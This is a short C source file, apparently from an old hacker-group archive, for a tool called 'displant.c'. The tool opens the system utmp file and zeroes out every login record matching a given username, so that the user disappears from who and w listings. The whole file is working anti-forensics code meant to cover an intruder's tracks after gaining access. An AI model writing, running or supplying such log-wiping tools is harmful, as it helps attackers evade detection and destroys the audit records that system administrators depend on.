displant.c - utmp removal tool.
9afb450141ce908c0dd6be7e2a47a25e03ff0a13b1934ae553b2bde5f918af8a
/*
* displant.c - utmp removal tool
*
* coded by fred_ | blasphemy
*
* Greetings to all of gH
*
*/
#include <stdio.h>
#include <string.h>
#include <utmp.h>
int
main(int argc, char *argv[])
{
int count = 0;
struct utmp utmp_entry;
FILE *utmp_file;
printf("displant.c by fred_ blasphemy\n");
if (argc != 2) {
printf("ex., %s <user>\n", argv[0]);
exit(1);
}
utmp_file = fopen(_PATH_UTMP, "r+");
if (utmp_file == NULL) {
perror(_PATH_UTMP);
exit(1);
}
while (fread((char *)&utmp_entry,
sizeof(utmp_entry), 1, utmp_file) > 0) {
if (strcmp(utmp_entry.ut_name,
argv[1]) == 0) {
fseek(utmp_file,
-sizeof(utmp_entry), 1);
bzero(&utmp_entry, sizeof(utmp_entry));
fwrite((char *)&utmp_entry,
sizeof(utmp_entry), 1,
utmp_file);
count++;
}
}
fclose(utmp_file);
if (count == 0) {
printf("error: %s: no such user\n", argv[1]);
return -1;
}
printf("Removed %d entrys which matched %s.\n",
count, argv[1]);
return 0;
}